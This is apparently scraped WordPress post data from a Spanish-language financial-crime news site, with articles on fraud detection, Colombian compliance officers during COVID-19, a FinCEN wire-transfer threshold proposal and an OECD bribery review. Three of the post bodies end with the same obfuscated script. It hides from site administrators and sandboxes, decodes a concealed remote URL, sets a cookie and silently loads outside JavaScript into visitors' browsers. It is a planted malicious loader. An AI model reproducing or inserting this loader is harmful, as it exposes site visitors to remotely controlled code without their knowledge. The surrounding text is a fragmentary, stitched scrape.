reforzar sus programas antifraude.<\/p><p><strong><a style=\"background-color: #ffffff; color: #993300; text-decoration: underline;\" href=\"https:\/\/www.abrigo.com\/l\/5-steps-to-stronger-fraud-mitigation\/?utm_source=acfcs&utm_medium=affiliate&utm_campaign=october_whitepaper\" target=\"_blank\" rel=\"noopener noreferrer\">Descargue el documento completo<\/a><\/strong>\u00a0(en ingl\u00e9s) para conocer los 5 pasos para mejorar su programa de detecci\u00f3n de fraude durante la pandemia COVID-19.<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"5 pasos para un programa de detecci\u00f3n de fraude m\u00e1s s\u00f3lido","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"5-pasos-para-un-programa-de-deteccion-de-fraude-mas-solido","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:47","post_modified_gmt":"2025-10-24 21:05:47","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25317","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25307,"post_author":"16","post_date":"2020-11-02 16:18:07","post_date_gmt":"2020-11-02 20:18:07","post_content":"El coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, y un sin\u00famero de otros factores. Adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d.\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con toda clase de vulnerabilidades, desde las donaciones; hasta el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el incremento de los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos, solo por nombrar algunos\n\nhttps:\/\/youtu.be\/FJO5EozUmNU\n\n*Juan Pablo Rodr\u00edguez C\n\n**Ren\u00e9 M. Castro V\n\n Primero debemos ser claros en cuanto al t\u00e9rmino \u201ccompliance\u201d en Colombia, una aclaraci\u00f3n que tambi\u00e9n es v\u00e1lida para un amplio grupo de otros pa\u00edses (de Latinoam\u00e9rica y tambi\u00e9n fuera de la regi\u00f3n). La funci\u00f3n establecida en la legislaci\u00f3n colombiana de <b><u>Oficial de Cumplimiento<\/u><\/b> es dirigida al tema de lavado de activos y financiaci\u00f3n del terrorismo. De otra parte, la Ley 964 de 2005, conocida como la Ley del Mercado de Valores, establece para unos sectores espec\u00edficos de la econom\u00eda la obligatoriedad de contar con un <b><u>Contralor Normativo<\/u><\/b>, cuyas funciones se asemejan m\u00e1s a lo que se conoce como <b><u>Compliance Officer<\/u><\/b> en otros pa\u00edses.\n\nA partir de la Circular Externa 026 de 2008 la Superintendencia Financiera de Colombia se cre\u00f3 el <b><u>Sistema de Administraci\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SARLAFT)<\/u><\/b> en el que se instituye al Oficial de Cumplimiento como parte de integral la estructura organizacional.\n\nAsimismo, la Circular Externa No. 100-000003 de 2016 de la Superintendencia de Sociedades, que reglamenta la Ley 1778 de 2016, conocida como la <b><u>Ley Antisoborno<\/u><\/b>, establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional.<\/u><\/b>\n\nDe la misma forma, la Circular Externa No. 100-000006 de 2016 de la Superintendencia de Sociedades, que regula el <b><u>Sistema de Autocontrol y Gesti\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SAGRLAFT),<\/u><\/b> establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional<\/u><\/b>.\n\nPor lo anterior, tenemos en Colombia tres figuras:\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">1.       Oficial de Cumplimiento para SARLAFT (Sistema de Administraci\u00f3n de Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">2.       Oficial de Cumplimiento para SARS (Sistema de Administraci\u00f3n de Riesgo de Soborno).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">3.       Contralor Normativo.<\/p>\nLas funciones de los casos mencionados se encuentran definidas en las normas respectivas, sin perder de vista que su alcance depende del supervisor y de los riesgos que debe contener, como es el caso del riesgo de lavado de activos y la financiaci\u00f3n del terrorismo; el riesgo de soborno y; los riesgos legales en las comisionistas de bolsa.\n\nEl coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, etc., adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d, lo cual puede ser cotejado en los estudios cient\u00edficos sobre la materia realizados por la Universidad John Hopkins (1), el Instituto de Salud Global de Barcelona (2) y la Organizaci\u00f3n Mundial de la Salud (3).\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con las donaciones; la necesidad de contar con modelos de riesgo diferenciales; y desde el punto de vista penal, el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el aumento en los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos.\n\nPasando al plano empresarial, y resaltando que no es el \u00fanico de los aspectos que debe tener en cuenta un <b><u>Oficial de Cumplimiento<\/u><\/b>, muchas organizaciones de todo el mundo ahora se ven obligadas a buscar formas creativas para enfrentar sus propios desaf\u00edos de administrar equipos descentralizados cuando el trabajo en casa o el distanciamiento social entran en acci\u00f3n, como es el caso de la protecci\u00f3n de datos y la privacidad de la informaci\u00f3n, ya que trabajar en forma remota genera varios riesgos que los profesionales de cumplimiento deben reconocer e intentar mitigar. En consecuencia, se presentan a continuaci\u00f3n los cuatro m\u00e1s importantes:\n<ol>\n \t<li>En primer lugar, los empleados pueden estar utilizando su propio equipo de tecnolog\u00eda de informaci\u00f3n que podr\u00eda compartir con otros miembros de la familia, quienes tambi\u00e9n est\u00e1n confinados en la misma casa. Esto aumenta la posibilidad de que los ni\u00f1os, que a menudo son m\u00e1s conocedores de tecnolog\u00eda de informaci\u00f3n, pero menos conscientes de los riesgos que sus padres, accedan a sitios web y material que no est\u00e1 permitido dentro de los l\u00edmites de la oficina y eludan o ignoran los protocolos de seguridad habituales.<\/li>\n \t<li>En segundo lugar, el equipo de tecnolog\u00eda puede ser viejo y no haber sido instalado regularmente con las \u00faltimas actualizaciones de seguridad que normalmente alertar\u00edan a los usuarios sobre posibles malware o detectar virus. Como resultado, los incidentes de ciberataques y violaciones de datos podr\u00edan aumentar a medida que aumenta el n\u00famero de correos electr\u00f3nicos sospechosos y estafas de phishing.<\/li>\n \t<li>En tercer lugar, las organizaciones pueden encontrarse confiando en aplicaciones, software y herramientas de colaboraci\u00f3n para video o teleconferencias, que en el pasado no quisieron adoptar debido a temores de seguridad inform\u00e1tica y de cumplimiento.<\/li>\n \t<li>Cuarto, en industrias altamente reguladas, como los servicios financieros, es especialmente importante que las organizaciones recopilen, almacenen y archiven todas las comunicaciones de los empleados para garantizar su cumplimiento y para su uso en cualquier investigaci\u00f3n futura potencial. Las funciones de cumplimiento deber\u00e1n encontrar una manera de lograr esto, incluso mientras la fuerza laboral pueda estar trabajando de forma remota y en diferentes plataformas y dispositivos.<\/li>\n<\/ol>\n Si una empresa se enfrenta una interrupci\u00f3n de la cadena de suministro o de las adquisiciones durante esta crisis, existe la posibilidad de que esta se vea presionada para involucrar a nuevos proveedores sin llevar a cabo el nivel adecuado de debida diligencia.\n\nDe los ejemplos mencionados, se pueden desprender las siguientes recomendaciones para los Oficiales de Cumplimiento:\n\n\u2022             Revisar todos los contratos de nuevos proveedores para garantizar que se incorporen los t\u00e9rminos legales apropiados.\n\n\u2022             Revisar las facturas y pagos de proveedores por cualquier se\u00f1al de alerta o anomal\u00edas, y monitorear la conducta para asegurarse de que cumpla con los requisitos reglamentarios y contractuales aplicables.\n\n\u2022             Aplicar un modelo de diligencia debida de terceros diferencial a las contrapartes de acuerdo con su nivel de riesgo.\n\n\u2022             Validar si es necesario la modificaci\u00f3n de pol\u00edticas, procedimientos y controles para responder a los desaf\u00edos de la pandemia.\n\n\u2022             Documentarse y comunicar tanto al interior de la organizaci\u00f3n como a sus contrapartes externas los cambios que se hayan realizado a las pol\u00edticas, procedimientos y controles respectivos.\n\n\u2022             Conservar los soportes documentales de la diligencia debida en una plataforma electr\u00f3nica o base de datos adecuada, para que el cumplimiento de los procedimientos pueda ser auditado posteriormente.\n\nPor \u00faltimo, el hecho de que la mayor parte del negocio funcione en forma remota no significa que no tengan que cumplir con las reglas, solo significa que este proceso podr\u00eda ser un poco m\u00e1s desafiante y lento, por lo que se debe contarse con un Plan de Continuidad del Negocio (ISO 223101 de 2012) en el que la funci\u00f3n del Oficial de Cumplimiento es vital a fin de validar que se lleven a cabo cambios que sean necesarios y garanticen que las funciones esenciales puedan continuar durante y despu\u00e9s de la pandemia.\n\n <b>*Juan Pablo Rodr\u00edguez C.<\/b>\n\nAbogado Penalista\n\nEscritor, conferencista y consultor internacional.\n\nCertified Lead Auditor y Lead Implementer en ISO 37001 Gesti\u00f3n Antisoborno, PECB, 2020\n\nCertified Professional in Anti-Money Laundering \u2013 CPAML de FIBA (Florida International Bankers Association).\n\nCertified on Governance, Risk Management and Compliance Professional (GRCP) y GRC Fundamentals de Open Compliance and Ethics Group (OCEG), 2016\n\nPresidente y Socio de RICS Management.\n\njrodriguez@ricsmanagement.com\n\n <b>**Ren\u00e9 M. Castro V.<\/b>\n\nContador P\u00fablico con Magister en Contabilidad y Auditor\u00eda de Gesti\u00f3n de la Universidad de Santiago de Chile.\n\nEscritor, conferencista y consultor internacional.\n\nCertified Trainer y Lead Compliance Manager en ISO 19600 Gesti\u00f3n de Cumplimiento, PECB, 2020\n\nCertified on Financial Services and Market Regulation, London School of Economics, (LSE), 2016\n\nCertified on Corporate Compliance and Ethics, New York University, 2015.\n\nVice-Presidente & Socio RICS Management\n\nrcastro@ricsmanagement.com\n\n <u>Referencias<\/u>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">1-        https:\/\/coronavirus.jhu.edu\/map.html<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">2-        https:\/\/www.isglobal.org\/covid-19-novedades-cientificas<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">3.         https:\/\/www.who.int\/es\/emergencies\/diseases\/novel-coronavirus-2019\/advice-for-public\/q-a-coronaviruses<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"El Compliance (Cumplimiento) en la nueva normalidad, durante y despu\u00e9s del Covid-19","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-compliance-cumplimiento-en-la-nueva-normalidad-durante-y-despues-del-covid-19","to_ping":"","pinged":"","post_modified":"2025-10-24 17:06:04","post_modified_gmt":"2025-10-24 21:06:04","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25307","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25304,"post_author":"16","post_date":"2020-11-02 15:17:00","post_date_gmt":"2020-11-02 19:17:00","post_content":"<p>Un cambio propuesto en las obligaciones ALD\/CFT en EE.UU. puede llegar a reducir el monto de las transacciones que obliga a enviar informaci\u00f3n sobre los remitentes y receptores de transferencias financieras internacionales a otras instituciones, lo que podr\u00eda agregar m\u00e1s carga de cumplimiento a los bancos que procesan dichos pagos.<\/p><p>FinCEN, la unidad de informaci\u00f3n financiera de EE.UU., y la Junta de la Reserva Federal est\u00e1n buscando comentarios sobre una enmienda que requerir\u00eda que las instituciones financieras recopilen, retengan y transmitan cierta informaci\u00f3n relacionada con transferencias internacionales y transferencias de fondos superiores a US$ 250.<\/p><p>Actualmente, bajo la Ley de Secreto Bancario de EE. UU., los bancos y las instituciones financieras no bancarias de EE.UU. obtienen, conservan y transmiten dicha informaci\u00f3n para las transacciones nacionales e internacionales de US$ 3.000 o m\u00e1s, incluyendo la identidad y la informaci\u00f3n de cuenta del remitente y el destinatario, a otras instituciones financieras a lo largo de la cadena de pago. Las denominadas regulaciones de las reglas de viaje est\u00e1n destinadas a ayudar a las agencias de ley y a los reguladores a investigar y procesar posteriormente las actividades il\u00edcitas mediante la preservaci\u00f3n de un rastro de informaci\u00f3n.<\/p><p>FinCEN y la Junta de la Reserva Federal, en la propuesta publicada el martes en el Registro Federal, sugieren mantener el umbral para transacciones nacionales en US$ 3.000.<\/p><p>La propuesta tambi\u00e9n aclar\u00f3 que la regla tambi\u00e9n se aplica a las transacciones que involucran monedas virtuales o digitales.<\/p><p>Los reguladores hab\u00edan se\u00f1alado que encontraron que transferencias electr\u00f3nicas internacionales por debajo del US$ 3.000 se estaban utilizando para facilitar el financiamiento del terrorismo, el tr\u00e1fico de narc\u00f3ticos y otras actividades il\u00edcitas. Las agencias dijeron que basaron su propuesta parcialmente en un an\u00e1lisis de datos de aproximadamente 2.000 reportes de operaciones sospechosas presentados por instituciones financieras a FinCEN entre 2016 y 2019 que estaban relacionados con posibles transferencias de fondos para el financiamiento del terrorismo.<\/p><p>FinCEN encontr\u00f3 que aproximadamente el 99% de las transacciones subyacentes de estos SAR comenzaron o terminaron fuera de EE. UU. y que los valores promedio y medios en d\u00f3lares de los fondos mencionados en los ROS eran de aproximadamente US$ 509 y US$ 255, respectivamente,\u00a0<a href=\"https:\/\/www.federalregister.gov\/documents\/2020\/10\/27\/2020-23756\/threshold-for-the-requirement-to-collect-retain-and-transmit-information-on-funds-transfers-and\" target=\"_blank\" rel=\"noopener noreferrer\">seg\u00fan la propuesta<\/a>.\u00a0<\/p><p>\u201cEs posible que algunas instituciones financieras no reconozcan o retengan registros de todas las actividades sospechosas por debajo del umbral de US$ 3.000 o el patr\u00f3n sospechoso no se hace visible hasta que se agreguen los registros\u201d, dijeron las agencias en la propuesta. \"Esto podr\u00eda impedir que las autoridades investiguen y mapeen las redes il\u00edcitas\".<\/p><p>El cambio de regla propuesto, para el cual las agencias piden al p\u00fablico que presente comentarios hasta el 27 de noviembre, aumentar\u00eda la carga de cumplimiento para los bancos y podr\u00eda encontrar resistencia de la industria, dijeron los observadores.<\/p><p>Esta nueva iniciativa podr\u00eda significar una carga importante para los bancos que terminar\u00eda encareciendo las transferencias internacionales de menor valor debido a que har\u00eda m\u00e1s caro la supervisi\u00f3n e incrementar\u00eda los costos de cumplimiento.<\/p><p>Sin embargo, las agencias de EE.UU. se\u00f1alaron que el cambio propuesto no deber\u00eda tener un gran impacto en el costo y la eficiencia del sistema de pago. Las agencias dijeron que algunas instituciones financieras ya estaban recopilando informaci\u00f3n sobre algunas de las transacciones por debajo del umbral actual para reportar transacciones sospechosas a FinCEN, o simplemente para mantener un solo conjunto de procesos para todas las transacciones.<\/p>","post_title":"EE.UU. propone bajar el umbral (de US$3.000 a US$250) para la transmisi\u00f3n de datos del remitente y destinatario","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"ee-uu-propone-bajar-el-umbral-de-us3-000-a-us250-para-la-transmision-de-datos-del-remitente-y-destinatario","to_ping":"","pinged":"","post_modified":"2020-11-02 15:19:59","post_modified_gmt":"2020-11-02 19:19:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25304","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"}],"next":false,"prev":true,"total_page":14},"paged":1,"column_class":"jeg_col_3o3","class":"epic_block_9"};</script> </div> </div> </div> </div> </div> </div> </section> <section class="has_eae_slider elementor-section elementor-top-section elementor-element elementor-element-a3c376b elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="a3c376b" data-element_type="section"> <div class="elementor-container elementor-column-gap-default"> <div class="has_eae_slider elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-775b7a7" data-id="775b7a7" data-element_type="column"> <div class="elementor-widget-wrap elementor-element-populated"> <div class="elementor-element elementor-element-89994b6 elementor-widget elementor-widget-epic_archive_pagination_elementor" data-id="89994b6" data-element_type="widget" data-widget_type="epic_archive_pagination_elementor.default"> <div class="elementor-widget-container"> <div class="jeg_navigation jeg_pagination jeg_pagenav_2 jeg_aligncenter no_navtext no_pageinfo"> <span class="page_info">Page 14 of 110</span> <a class="page_nav prev" data-id="13" href="https://www.delitosfinancieros.org/category/noticias/page/13/"><span class="navtext">Previous</span></a> <a class='page_number' data-id='1' href='https://www.delitosfinancieros.org/category/noticias/'>1</a> <span class="page_number dots">…</span> <a class='page_number' data-id='13' href='https://www.delitosfinancieros.org/category/noticias/page/13/'>13</a> <span class='page_number active'>14</span> <a class='page_number' data-id='15' href='https://www.delitosfinancieros.org/category/noticias/page/15/'>15</a> <span class="page_number dots">…</span> <a class='page_number' data-id='110' href='https://www.delitosfinancieros.org/category/noticias/page/110/'>110</a> <a class="page_nav next" data-id="15" href="https://www.delitosfinancieros.org/category/noticias/page/15/"><span class="navtext">Next</span></a> </div> </div> </div> </div> </div> </div> </section> \n<p>Si bien esto puede ser desalentador al principio, los departamentos de cumplimiento de los bancos eventualmente dominar\u00e1n las criptomonedas si toman estos pasos. Despu\u00e9s de eso, \u00bfqui\u00e9n sabe qu\u00e9 podr\u00eda pasar? Los bancos que actualmente no planean involucrarse en el espacio de criptomonedas pueden abrirse a la idea de la adopci\u00f3n institucional a medida que desarrollan e implementan procedimientos para mitigar el riesgo de las criptomonedas.<\/p>\n","post_title":"Los bancos necesitan comprender su exposici\u00f3n a las criptomonedas incluso si no toman custodia de estas","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"los-bancos-necesitan-comprender-su-exposicion-a-las-criptomonedas-incluso-si-no-toman-custodia-de-estas","to_ping":"","pinged":"","post_modified":"2020-11-24 16:21:23","post_modified_gmt":"2020-11-24 20:21:23","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25400","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25409,"post_author":"16","post_date":"2020-11-23 11:33:00","post_date_gmt":"2020-11-23 15:33:00","post_content":"\n<p>Estados Unidos contin\u00faa liderando en la lucha contra la corrupci\u00f3n transnacional, pero podr\u00eda mejorar sus esfuerzos extendiendo la protecci\u00f3n a m\u00e1s denunciantes y ofreciendo transparencia adicional en la resoluci\u00f3n de casos de soborno en el extranjero, se\u00f1al\u00f3 el Grupo de Trabajo sobre Soborno de la Organizaci\u00f3n para la Cooperaci\u00f3n y Desarrollo Econ\u00f3micos (OCDE).<\/p>\n\n\n\n<p>El grupo de trabajo, en <a href=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" data-type=\"URL\" data-id=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>un informe publicado la semana pasada<\/strong><\/a>, elogi\u00f3 a Estados Unidos por elevar el nivel de aplicaci\u00f3n de su Ley de Pr\u00e1cticas Corruptas en el Extranjero (FCPA) desde su \u00faltima evaluaci\u00f3n por parte del grupo en 2010.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large is-resized\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image-1.png\" alt=\"\" class=\"wp-image-25410\" width=\"376\" height=\"377\"\/><\/figure><\/div>\n\n\n\n<p>Tambi\u00e9n elogi\u00f3 el \u00e9xito del programa de denuncia en la Comisi\u00f3n de Bolsa y Valores (SEC) por ayudar a detectar posibles irregularidades.<\/p>\n\n\n\n<p>Estados Unidos ha presentado 156 casos bajo la FCPA o violaciones relacionadas, tales como contabilidad creativa y lavado de dinero, entre septiembre de 2010 y julio de 2019, dijo la OCDE. Esos casos dieron lugar a la condena o al castigo de 174 empresas y 115 personas durante el per\u00edodo, seg\u00fan el informe. En comparaci\u00f3n con las 88 empresas y 71 personas registradas en la evaluaci\u00f3n anterior, que tuvo en cuenta el per\u00edodo entre 2002 y 2010.<\/p>\n\n\n\n<p>La FCPA proh\u00edbe que las empresas y las personas estadounidenses paguen sobornos a funcionarios de gobiernos extranjeros para obtener negocios.<\/p>\n\n\n\n<p>El informe, que refleja los hallazgos de expertos de Argentina y el Reino Unido, es parte de la cuarta fase de una revisi\u00f3n continua por pares del grupo de trabajo de la OCDE, que monitorea y eval\u00faa la implementaci\u00f3n y cumplimiento de la Convenci\u00f3n Antisoborno de la OCDE por parte de 44 pa\u00edses miembros. La cuarta fase se centra en el cumplimiento, la detecci\u00f3n y la responsabilidad empresarial, y eval\u00faa las necesidades de cada pa\u00eds y c\u00f3mo ha implementado las recomendaciones de la evaluaci\u00f3n anterior.<\/p>\n\n\n\n<p>Se solicita a los pa\u00edses miembros, incluido EE. UU., que env\u00eden un seguimiento por escrito a los pocos a\u00f1os del informe de evaluaci\u00f3n para explicar c\u00f3mo implementaron las recomendaciones de la OCDE.<\/p>\n\n\n\n<p>La OCDE agreg\u00f3 que los programas de denuncia en Estados Unidos han desempe\u00f1ado un papel fundamental en la detecci\u00f3n de presuntos sobornos extranjeros.<\/p>\n\n\n\n<p>El Departamento de Justicia de EE.UU. y la SEC mantienen l\u00edneas directas p\u00fablicas para recibir sugerencias an\u00f3nimas. El programa de denuncia de irregularidades de la SEC, creado por la Ley Dodd-Frank de 2010, tambi\u00e9n cre\u00f3 incentivos financieros y protecci\u00f3n contra las represalias para que los informantes que reporte presuntas infracciones relacionadas con la FCPA.<\/p>\n\n\n\n<p>El programa de denunciantes de la SEC, que comenz\u00f3 a funcionar en 2011, estableci\u00f3 nuevos r\u00e9cords en el a\u00f1o fiscal 2020 que finaliz\u00f3 el 30 de septiembre, otorgando m\u00e1s dinero a m\u00e1s informantes que en cualquier otro a\u00f1o de la historia del programa.<\/p>\n\n\n\n<p>La OCDE recomend\u00f3 en el informe que EE.UU. fortalezca y extienda la protecci\u00f3n contra las represalias a todos los informantes del sector privado que puedan plantear acusaciones relacionadas con la FCPA, incluidos aquellos que denuncian presunta corrupci\u00f3n por parte de empresas que no emiten valores o aquellos que solo informan al Departamento de Justicia.<\/p>\n\n\n\n<p>La OCDE tambi\u00e9n recomend\u00f3 que las agencias de ley de EE.UU. brinden m\u00e1s transparencia en las resoluciones de algunos casos de la FCPA, como facilitar al p\u00fablico la obtenci\u00f3n de informaci\u00f3n sobre la extensi\u00f3n o finalizaci\u00f3n de los acuerdos de no enjuiciamiento (<em>nonprosecution agreements<\/em>) y los acuerdos de enjuiciamiento diferido (<em>deferred prosecution agreements<\/em>) con empresas en los casos de la FCPA. Tambi\u00e9n recomend\u00f3 que EE.UU. contin\u00fae abordando la reincidencia mediante sanciones apropiadas.<\/p>\n\n\n\n<p>El informe que alaba los esfuerzos de Estados Unidos para hacer cumplir la ley no fue una sorpresa para la comunidad anticorrupci\u00f3n, dijeron los observadores. Pero el informe, de 180 p\u00e1ginas, describi\u00f3 varias de las mejores pr\u00e1cticas del gobierno de EE.UU. que podr\u00edan ser \u00fatiles para otros pa\u00edses o regiones que buscan ser m\u00e1s efectivos en su lucha contra el soborno extranjero.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Un grupo de trabajo de la OCDE elogia los esfuerzos de EE.UU. contra el soborno en el extranjero","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"un-grupo-de-trabajo-de-la-ocde-elogia-los-esfuerzos-de-ee-uu-contra-el-soborno-en-el-extranjero","to_ping":"","pinged":"","post_modified":"2025-10-24 17:04:10","post_modified_gmt":"2025-10-24 21:04:10","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25409","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25406,"post_author":"16","post_date":"2020-11-23 11:32:00","post_date_gmt":"2020-11-23 15:32:00","post_content":"\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/youtu.be\/wgbCobolWgA\n<\/div><\/figure>\n\n\n\n<p>El programa de denunciantes de la Comisi\u00f3n de Bolsa y Valores de EE. UU. (SEC por sus siglas en ingl\u00e9s) estableci\u00f3 un nuevo r\u00e9cord anual otorgando m\u00e1s dinero a m\u00e1s informantes en el a\u00f1o fiscal 2020 que en cualquier otro a\u00f1o de la historia del programa. La oficina pag\u00f3 